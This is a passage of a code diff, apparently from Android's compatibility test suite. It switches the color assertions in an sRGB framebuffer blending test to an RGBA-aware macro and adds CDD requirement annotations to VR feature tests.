-    ASSERT_NEAR(final_color, kExpectedBlendedPixel_Srgb, 1);
+    ASSERT_NEAR_RGBA(final_color, kExpectedBlendedPixel_Srgb, 1);
     // Try EGL_EXT_image_gl_colorspace.
     if (egl_colorspace_supported) {
         testFramebufferBlending(env, SrgbFlag::kHardwareBuffer | SrgbFlag::kEglColorspaceDefault, &final_color);
-        ASSERT_NEAR(final_color, kExpectedBlendedPixel_NoSrgb, 1);
+        ASSERT_NEAR_RGBA(final_color, kExpectedBlendedPixel_NoSrgb, 1);
         testFramebufferBlending(env, SrgbFlag::kHardwareBuffer | SrgbFlag::kEglColorspaceLinear, &final_color);
-        ASSERT_NEAR(final_color, kExpectedBlendedPixel_NoSrgb, 1);
+        ASSERT_NEAR_RGBA(final_color, kExpectedBlendedPixel_NoSrgb, 1);
         testFramebufferBlending(env, SrgbFlag::kHardwareBuffer | SrgbFlag::kEglColorspaceSrgb, &final_color);
-        ASSERT_NEAR(final_color, kExpectedBlendedPixel_Srgb, 1);
+        ASSERT_NEAR_RGBA(final_color, kExpectedBlendedPixel_Srgb, 1);
     }
 }
diff --git a/tests/vr/src/android/vr/cts/VrFeaturesTest.java b/tests/vr/src/android/vr/cts/VrFeaturesTest.java
index caf1ade..a0c6457 100644
--- a/tests/vr/src/android/vr/cts/VrFeaturesTest.java
+++ b/tests/vr/src/android/vr/cts/VrFeaturesTest.java
@@ -21,6 +21,8 @@
 import android.os.Process;
 import android.test.ActivityInstrumentationTestCase2;
 
+import com.android.compatibility.common.util.CddTest;
+
 public class VrFeaturesTest extends ActivityInstrumentationTestCase2<CtsActivity> {
     private CtsActivity mActivity;
 
@@ -28,6 +30,7 @@
         super(CtsActivity.class);
     }
 
+    @CddTest(requirement="7.9.2/C-1-2")
     public void testLacksDeprecatedVrModeFeature() {
         mActivity = getActivity();
         boolean hasVrMode = mActivity.getPackageManager().hasSystemFeature(
@@ -40,6 +43,7 @@
         }
     }
 
+    @CddTest(requirement="7.9.2/C-1-3")
     public void testSustainedPerformanceModeSupported() {
         mActivity = getActivity();
         PowerManager pm = (PowerManager) mActivity.getSystemService(Context.POWER_SERVICE);